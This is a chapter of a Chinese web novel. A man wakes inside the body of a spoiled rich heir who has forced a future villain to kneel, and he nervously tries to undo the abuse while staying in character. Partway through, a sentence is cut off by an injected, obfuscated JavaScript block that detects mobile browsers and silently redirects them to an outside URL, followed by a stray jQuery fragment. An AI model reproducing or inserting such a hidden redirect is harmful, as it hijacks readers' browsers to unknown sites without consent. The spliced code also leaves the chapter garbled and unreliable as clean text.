当然哭也不能哭出来,原身的字典里就没有“哭”这个字。
比起未来被周烬折磨死,现在被众人发现他其实是个冒牌货也很可怕好吗!
顶着众人惊疑的目光,许眠双手撑着身下的沙发,瞪大双眼昂起下巴扫视过众人,非常不满地呵斥:“看什么?!再看眼睛给你们挖出来!”
这样恶毒的话居然会从他嘴里说出来……真是出息了许眠。
多亏平时没少看霸总小说。
许眠后背都被汗意浸湿,幸亏原身在这群人中间向来说一不二,他这么一发脾气,一群人立马看都不敢多看他一眼。
就是表情多少有点怪。
怎么说呢。
许眠平时确实很凶,也会骂他们,但……从来没有像现在这样,明明是在骂他们,听起来却像是故作凶狠的那种。
像……猫伸爪子?
冒出这个想法的黄毛被自己恶心得够呛。
见周烬居然还在看着许眠,黄毛立马大声拿起手机对准周烬的脸大声训斥:“没听见许少不准你看吗!你聋了是吗!”
原本还在仰头表情阴晴不定盯着许眠的周烬眉眼动了动,嘴角勾起一抹不易察觉的嘲讽的笑。
虽然不知道许眠葫芦里卖的到底是什么药,但总归和这群人没什么区别。
令人作呕。
挺直的脖颈在辱骂声中即将弯下去,一声焦急又带着怒气的声音压着黄毛的辱骂响了起来。
“你凶什么!”许眠好不容易从被挑断手筋脚筋的恐惧中缓了过来,听见黄毛这话腿都软了。
不知道眼前这人是超级记仇的大反派吗!
虽然原书并没有写跟在原身身边这群人的结局,但这群人平时没少跟着原身作威作福,可以说也算是坏事做尽,估计也没什么好下场。
许眠也不是什么圣人,对这种人没什么同情心,但好歹,坏事能少做一件是一件。
尤其是做坏事的对象还是周烬。
黄毛:“……?”
黄毛陡然噤声。
就是表情非常诧异。
许眠也突然意识到自己这样说有点太维护周烬了,有点违背原身的人设。
原身有着花花公子又守身如玉的人身,却又是个不折不扣的渣男,他的对象在这群朋友中间基本没有任何地位。
更别说周烬了。
在许眠穿过来之前,原身对这群人随意辱骂甚至上手殴打周烬毫无反应,现在这种时候他突然跳出来维护对方,多少有点……ooc。
但是他又不能眼睁睁看着他们欺负周烬又不阻止。
许眠昂了昂下巴一点都不露怯地和黄毛对视,板起一张脸给自己找补:“只有我能凶他!我现在还没凶够!怎么你想造反吗!”
他板着脸的时候确实挺能唬人。
原身平时也就这样,就是眼神没那么凶,但也足够应付这群人了。
听见这话,周围人立马七嘴八舌非常狗腿地附和:“就是就是,我们许少的人只有我们许少才能凶!”
“阿黄你要死啊你不会想跟许少抢人吧?”
“许少,这是不是叫什么,情侣之间的小情趣?怪不得呢哈哈哈哈!”
哈哈哈个鬼啊!
许眠被说得脸烫得要命,但这人的话正好给他刚刚被周烬吓得缩进角落找了个完美的理由。
没错。
他都是演的。
这都是情趣!
许眠赞赏地看向说话的人,对方一看自己的话得到了肯定,笑得更加暧昧了。
许眠:“……”
许眠轻咳了声,“行了,你们现在都出去。”
他实在有点受不了这么多人挤在一起,虽然包厢很大,但感觉空气还是不流通,尤其这群人身上全是酒臭味和烟臭味。
堪比核弹。
刚刚被“赞赏”的人“哦~”了一声,露出了“我们都懂”的表情,非常懂事地拉着身边的人走了出去,一边走一边还很好心地提醒:“许少楼上有房间!我先去给您开好!那个柜子里也有套您要是想在这也行啊~”
许眠:“……”
好想把酒瓶塞进他嘴里。
许眠顶着一张爆红的脸想把自己藏起来,却又突然想起什么,对着正被人拉扯出去的黄毛道:“等等!”
黄毛吓得一哆嗦。
许眠扫了他两眼,最后视线落在他手上,“手机给我!拍的视频全都删了!”怕他们觉得奇怪,许眠又憋了个理由:“我不想让别人看见我的新宠。”
在众人暧昧的笑声里,许眠终于把自己刚刚那么恶心的话消化完毕了。
就是,包厢门一关上,原本热闹的包厢突然变得诡异的安静。
许眠脑袋小小地转了15度。
恰到好处地和周烬面对面眼对眼。
许眠:“……”
周烬明显把他刚刚说的话都听见去了,表情比之前更加阴沉可怖了。
救命啊。
这人这么可怕,原身到底为什么要去惹他啊。
好不容易好好坐着的许眠又控制不住想往后缩,最后还是努力克制着自己,让自己用冰冷的神情瞪着周烬:“看我干什么!”
周烬一动不动。
周烬完全没被他唬到。
许眠:“……”
以原身的细胳膊细腿,大抵是打不过周烬这么粗壮的肌肉的。
同为男人,怎么差别就这么大?
许眠被看得头皮发麻又无可奈何,他也没法向对待原身朋友那样对待周烬,也不能对周烬说你走吧。
毕竟刚刚说什么“新宠”的人是他。
唬又唬不住,许眠只能冷着一张脸,“跪着很舒服吗!”
也不知道周烬这样的人怎么会心甘情愿下跪的。
而且到现在都还跪着。
许眠一边说着一边起身,大脑飞速运转着。
完全没注意到在他起身的那一刻,跪在那里的周烬已经全身开始了防御状态。
这个养尊处优的小少爷长得虽然不矮却比他瘦弱多了,周烬并不怀疑自己能单手把人掐死。
但他并不能这么做。
能订得起这个包厢的人非富即贵,从经理对待他们的态度,尤其是对许眠的态度,他能看出来,许眠的身份高贵。
他今天要是在这里把人伤到了,哪怕是一根手指,大概也没办法继续活下去。
思及此,周烬的双手死死攥起。
不仅仅是因为屈辱,更是因为自己这种就算遭受了这种待遇也要活下去的念头。
他唾弃自己。
压下去的唇角往上勾起嘲讽的弧度,突然有什么东西被砸在了他身上。
周烬立马条件反射地抓住。
居然是被他脱下来的衣服。
而把衣服扔到他身上的许眠这会儿已经飞快地撤离到了自己原本坐着的沙发角落,并且低头看着手机,看起来很忙。
富贵人家长大的男生,从小就没受过什么苦,哪怕头发染成奇怪的五颜六色,藏在头发下面的脖颈却纤细白皙又脆弱,白得甚至能隐隐看见血管。
单薄的身形挤在宽大的沙发,莫名让人觉得他甚至是在害怕自己。
周烬在心底冷笑。
可能对方要的就是这种效果吧。
假装示弱,取得他的信任,然后再折磨他。
他不可能会上当。
也不可能陪着这个小少爷玩什么恶心的“情侣游戏”。
许眠根本不知道周烬在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096568|195637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想什么。
听见窸窸窣窣穿衣服的声音,他默默松了口气,假装很忙地继续划拉着手机屏幕。
看起来忙,实则是真的不知道自己该怎么办了。
他到现在都还没能接受自己穿书了的事实,也根本不知道到底该怎么处理周烬这件事。
一来原身强行把周烬绑过来让周烬脱衣服的事情已经发生了,只是还没到原文中那么严重的折磨周烬的地步,但他也不知道周烬的记仇到底到哪个程度,就算他现在放周烬离开,再给周烬点补偿,也不知道能不能行。
二来以原身的性格肯定不会轻易放周烬离开。
可是他没有强制爱的爱好,也并不喜欢周烬,总不能真的像原身一样把周烬留在身边吧。
就在他快被自己绕晕的时候,乱划的手指突然在手机界面上停下。
“霸道许少狠狠爱”???
这是什么破群名???
许眠睁大眼睛看着原身微信里的这个群,虽然偷看别人隐私不好,但以他看小说的经验,原身的这些大概率以后就是由他来继承了。
看一眼应该……也没事吧?
半分钟后,许眠就开始后悔自己为什么要打开这个群了。
谁能告诉他为什么全是年轻男生的照片!
群里的人应该全是许眠的朋友,今天在包厢里的人也都在,有几条还在祝许眠今晚抱得帅哥归。
许眠:“……”
倒也没必要这么狗腿吧。
更多的是在发一些年轻男生的照片,有的是生活照,有的是身材照,还有人指出某张照片说这不是许少某个前任吗。
一看就是这群朋友给原身搜罗的对象预备役,场面堪比选妃现场。
一点都不辜负群名。
许眠总算知道原身到底怎么做到三天两头换对象了,他这边“新宠”还没焐热呢!
该不会他前脚把周烬踹了,后脚这些人就要把某个妃子送到他床上吧。
想了一下那个场面,许眠突然有点理解原身守身如玉的设定了。
再看这些照片,这个没有周烬帅那个没有周烬身材好……
还不如把周烬留在身边。
还能阻挡这些人给他选妃。
刚冒出这个念头,许眠没忍住朝周烬看了过去。
周烬只穿了件衬衫,总比什么都没穿的好,就是还跪在那里,仿佛地上有钉子。
总不能是怕忤逆了自己所以不敢起来吧。
许眠故意清了清嗓子咳了声,发出点声音试图吸引周烬的注意力。
等周烬看向自己之后,许眠后背又冒了点冷汗,不自觉往角落缩了缩,瞪着一双漂亮的桃花眼吩咐:“你站起来!”
周烬那双黑漆漆的眸子在他脸上停留了好久,也不知道在想什么,看得许眠恨不得挖个洞把自己埋进去。
就这么熬了近一分钟,周烬终于艰难地站了起来。
也就是这个时候,许眠才发现,周烬右腿的膝盖居然全是血。
血迹都已经渗透了衣服,就算跪也不可能跪出这种伤来,一看就是被打的。
周烬居然忍着这样的伤一声不吭跪了那么久。
该说不愧是忍辱负重的大反派吗。
看着周烬明明忍痛却依然站得笔直的身影,许眠突然想起来书中曾描述过大反派右腿是有点跛的。
许眠:“……”
救命,该不会就是被他搞出来的吧?
突然感觉自己命不久矣。
被吓傻了的许眠盯着周烬膝盖上的血迹,脱口而出一句:“痛吗?”
回答他的,是周烬一声极低的压抑的冷笑。
许眠:“……”
对不起,确实有点黄鼠狼给鸡拜年了哈。